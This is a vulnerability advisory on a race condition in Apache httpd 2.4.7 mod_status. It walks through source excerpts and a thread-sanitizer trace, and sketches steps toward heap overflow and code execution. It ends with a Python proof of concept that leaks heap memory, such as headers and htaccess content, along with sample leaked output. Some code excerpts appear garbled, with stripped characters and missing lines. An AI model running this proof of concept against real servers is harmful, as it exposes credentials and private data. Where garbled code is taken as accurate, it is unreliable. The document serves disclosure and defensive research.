Apache 2.4.7 mod_status - Scoreboard Handling Race Condition







--[ 0. Sparse summary
Race condition between updating httpd's "scoreboard" and mod_status,
leading to several critical scenarios like heap buffer overflow with
supplied payload and leaking heap which can leak critical memory
htaccess credentials, ssl certificates private keys and so on.
--[ 1. Prerequisites

Apache httpd compiled with MPM event or MPM worker.
The tested version was 2.4.7 compiled with:

    ./configure --enable-mods-shared=reallyall --with-included-apr

The tested mod_status configuration in httpd.conf was:
        SetHandler server-status
    ExtendedStatus On
--[ 2. Race Condition

Function ap_escape_logitem in server/util.c looks as follows:

    1908AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char
    1910    char *ret;
    1911    unsigned char *d;
    1912    const unsigned char *s;
    1913    apr_size_t length, escapes = 0;
    1915    if (!str) {
    1916        return NULL;
    1917    }
    1919    /* Compute how many characters need to be escaped */
    1920    s = (const unsigned char *)str;
    1921    for (; *s; ++s) {
    1922        if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
    1923            escapes++;
    1924        }
    1925    }
    1927    /* Compute the length of the input string, including NULL
    1928    length = s - (const unsigned char *)str + 1;
    1930    /* Fast path: nothing to escape */
    1931    if (escapes == 0) {
    1932        return apr_pmemdup(p, str, length);
    1933    }

In the for-loop between 1921 and 1925 lines function is computing the
length of
supplied str (almost like strlen, but additionally it counts special
which need to be escaped). As comment in 1927 value says, function
computes count
of bytes to copy. If there's nothing to escape function uses
apr_pmemdup to duplicate
the str. In our single-threaded mind everything looks good, but tricky
part starts
when we introduce multi-threading. Apache in MPM mode runs workers as
threads, let's
consider the following scenario:

    1) ap_escape_logitem(pool, "") is called
    2) for-loop in 1921 line immediately escapes, because *s is  in
first loop run
    3) malicious thread change memory under *s to another value
(something which is not )
    4) apr_pmemdup copies that change value to new string and returns

Output from the ap_escape_logitem is considered to be a string, if
scenario above would occur,
then returned string would not be zeroed at the end, which may be
harmful. The mod_status
code looks as follows:

    833                    ap_rprintf(r, "%s%s"
    834                                  "%snn",
    835                               ap_escape_html(r->pool,
    837                               ap_escape_html(r->pool,
    839                               ap_escape_html(r->pool,

The relevant call to ap_escape_html() is at line 839 after the
evaluation of ap_escape_logitem().
The first argument passed to the ap_escape_logitem() is in fact an apr
pool associated with
the HTTP request and defined in the request_rec structure.

This code is a part of a larger for-loop where code is iterating over
worker_score structs which is
defined as follows:

    90struct worker_score {
    92    apr_os_thread_t tid;
    94    int thread_num;
    95    /* With some MPMs (e.g., worker), a worker_score can
    96     * a thread in a terminating process which is no longer
    97     * represented by the corresponding process_score.  These
    98     * should set pid and generation fields in the worker_score.
    99     */
    100    pid_t pid;
    101    ap_generation_t generation;
    102    unsigned char status;
    103    unsigned short conn_count;
    104    apr_off_t     conn_bytes;
    105    unsigned long access_count;
    106    apr_off_t     bytes_served;
    107    unsigned long my_access_count;
    108    apr_off_t     my_bytes_served;
    109    apr_time_t start_time;
    110    apr_time_t stop_time;
    111    apr_time_t last_used;
    112#ifdef HAVE_TIMES
    113    struct tms times;
    115    char client[40];            /* Keep 'em small... but large
enough to hold an IPv6 address */
    116    char request[64];           /* We just want an idea... */
    117    char vhost[32];             /* What virtual host is being
accessed? */

The 'request' field in a worker_score structure is particularly
interesting - this field can be changed inside
the copy_request function, which is called by the
update_child_status_internal. This change may occur when the
mod_status is iterating over the workers at the same time the
ap_escape_logitem is called within a different
thread, leading to a race condition. We can trigger this exact
scenario in order to return a string without a
trailing . This can be achived by running two clients, one triggering
the mod_status handler and second
sending random requests to the web server. Let's consider the
following example:

    1) the mod_status iterates over workers invoking
    2) at some point for one worker mod_status calls
ap_escape_logitem(pool, ws_record->request)
    3) let's asume that ws_record->request at the beginning is ""
literally  at the first byte.
    4) inside the ap_escape_logitem function the length of the
ws_record->request is computed, which is 1
       (an empty string consisting of )
    5) another thread modifies ws_record->request (in fact it's called
ws->request in update_child_status_internal
       function but it's exactly the same location in memory) and puts
there i.e. "GET / HTTP/1.0"
    6) the ap_pmemdup(pool, str, 1) in ap_escape_logitem copies the
first one byte from "GET / HTTP/1.0" - "G" in
       that case and returns it. The ap_pmemdup looks as follows:

       112APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void
*m, apr_size_t n)
       114    void *res;
       116    if (m == NULL)
       117      return NULL;
       118    res = apr_palloc(a, n);
       119    memcpy(res, m, n);
       120    return res;

       It allocates memory using apr_palloc function which returns
"ditry" memory (note that apr_pcalloc overwrite
       allocated memory with NULs).

       So it's non-deterministic what's after the copied "G" byte.
There might be  or might be not. For now let's
       assume that the memory allocated by apr_palloc was dirty
(containing random bytes).
    7) ap_escape_logitem returns "G....." .junk. ""

The value from the example above is then pushed to the ap_escape_html2
function which is also declared in util.c:

    1860AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char
*s, int toasc)
    1862    int i, j;
    1863    char *x;
    1865    /* first, count the number of extra characters */
    1866    for (i = 0, j = 0; s[i] != ''; i++)
    1867        if (s[i] == '')
    1868            j += 3;
    1869        else if (s[i] == '&')
    1870            j += 4;
    1871        else if (s[i] == '"')
    1872            j += 5;
    1873        else if (toasc && !apr_isascii(s[i]))
    1874            j += 5;
    1876    if (j == 0)
    1877        return apr_pstrmemdup(p, s, i);
    1879    x = apr_palloc(p, i + j + 1);
    1880    for (i = 0, j = 0; s[i] != ''; i++, j++)
    1881        if (s[i] == '') {
    1886            memcpy(&x[j], ">", 4);
    1887            j += 3;
    1888        }
    1889        else if (s[i] == '&') {
    1890            memcpy(&x[j], "&", 5);
    1891            j += 4;
    1892        }
    1893        else if (s[i] == '"') {
    1894            memcpy(&x[j], """, 6);
    1895            j += 5;
    1896        }
    1897        else if (toasc && !apr_isascii(s[i])) {
    1898            char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned
    1899            memcpy(&x[j], esc, 6);
    1900            j += 5;
    1901        }
    1902        else
    1903            x[j] = s[i];
    1905    x[j] = '';
    1906    return x;

If the string from the example above would be passed to this function
we should get the following code-flow:

    1) in the for-loop started in line 1866 we count the length of
escaped string
    2) because 's' string contains junk (due to only one byte being
allocated by the apr_palloc function),
       it may contain '>' character. Let's assume that this is our
    3) after for-loop in 1866 line 'j' is greater than 0 (at least one
s[i] equals '>' as assumed above
    4) in the 1879 line memory for escaped 'd' string is allocated
    5) for-loop started in line 1880 copies string 's' to the escaped
'd' string BUT apr_palloc has allocated
       only one byte for 's'. Thus, for each i > 0 the loop reads
random memory and copies that value
       to 'd' string. At this point it's possible to trigger an
information leak vulnerability (see section 5).

However the 's' string may overlap with 'd' i.e.:

    's' is allocated under 0 with contents s = "AAAAAAAA>"
    'd' is allocated under 8 then s[8] = d[0].

If that would be the case, then for-loop would run forever (s[i] never
would be  since it was overwritten in the loop
by non-zero). Forever... until it hits an unmapped memory or read only

Part of the scoreboard.c code which may overwrite the
ws_record->request was discovered using a tsan:

    #1 ap_escape_logitem ??:0 (exe+0x0000000411f2)
    #2 status_handler
    #3 ap_run_handler ??:0 (exe+0x000000084d98)
    #4 ap_invoke_handler ??:0 (exe+0x00000008606e)
    #5 ap_process_async_request ??:0 (exe+0x0000000b7ed9)
    #6 ap_process_http_async_connection http_core.c:0
    #7 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
    #8 ap_run_process_connection ??:0 (exe+0x00000009d156)
    #9 process_socket event.c:0 (exe+0x0000000cc65e)
    #10 worker_thread event.c:0 (exe+0x0000000d0945)
    #11 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
    #12  :0 (libtsan.so.0+0x00000001b279)

  Previous write of size 1 at 0x7feff2b862b8 by thread T2:
    #0 update_child_status_internal scoreboard.c:0
    #1 ap_update_child_status_from_conn ??:0 (exe+0x00000004d693)
    #2 ap_process_http_async_connection http_core.c:0
    #3 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
    #4 ap_run_process_connection ??:0 (exe+0x00000009d156)
    #5 process_socket event.c:0 (exe+0x0000000cc65e)
    #6 worker_thread event.c:0 (exe+0x0000000d0945)
    #7 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
    #8  :0 (libtsan.so.0+0x00000001b279)
--[ 3. Consequences

Race condition described in section 2, may lead to:

 - information leak in case when the string returned by
ap_escape_logitem is not  at the end,
   junk after copied bytes may be valuable
 - overwriting heap with a user supplied value which may imply code
--[ 4. Exploitation

 In order to exploit the heap overflow bug it's necessary to get
control over:

 1) triggering the race-condition bug
 2) allocating 's' and 'd' strings in the ap_escape_html2 to overlap
 3) part of 's' which doesn't overlap with 'd' (this string is copied
over and over again)
 4) overwriting the heap in order to get total control over the cpu or
at least modify the
    apache's handler code flow for our benefits
--[ 5. Information Disclosure Proof of Concept

    -- cut
    #! /usr/bin/env python

    import httplib
    import sys
    import threading
    import subprocess
    import random

    def send_request(method, url):
            c = httplib.HTTPConnection('', 80)
            if "foo" in url:
                print c.getresponse().read()
        except Exception, e:
            print e

    def mod_status_thread():
        while True:
            send_request("GET", "/foo?notables")

    def requests():
        evil = ''.join('A' for i in range(random.randint(0, 1024)))
        while True:
            send_request(evil, evil)


    -- cut

Below are the information leak samples gathered by running the poc
against the
testing Apache instance. Leaks include i.e. HTTP headers, htaccess
httpd.conf content etc. On a live systems with a higher traffic
samples should
be way more interesting.

 $ ./poc.py | grep "" |grep -v AAAA | grep -v "{}"| grep -v notables {A} [] {A.01 cu0 cs0 {A27.0.0.1} [] {A|0|10 [Dead] u.01 s.01 cu0 cs0 {A
                Û [] {A HTTP/1.1} [] {Ab><br /> {AAA}</i> <b>[]</b><br
/> {A0.1.1:19666]</b><br /> {A§} [] {A cs0 {Adentity {A HTTP/1.1} [] {Ape: text/html; charset=ISO-8859-1 {Ahome/IjonTichy/httpd-2.4.7-vanilla/htdocs/} [] {Aÿÿÿÿÿÿÿ} [] {Aanilla/htdocs/foo} [] {A0n/httpd-2.4.7-vanilla/htdocs/foo/} [] {A.........................................     } [] {A-2014 16:23:30 CEST} [] {Acontent of htaccess {Aver: Apache/2.4.7 (Unix) {Aroxy:balancer://mycluster} []
We hope you enjoyed it.

Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466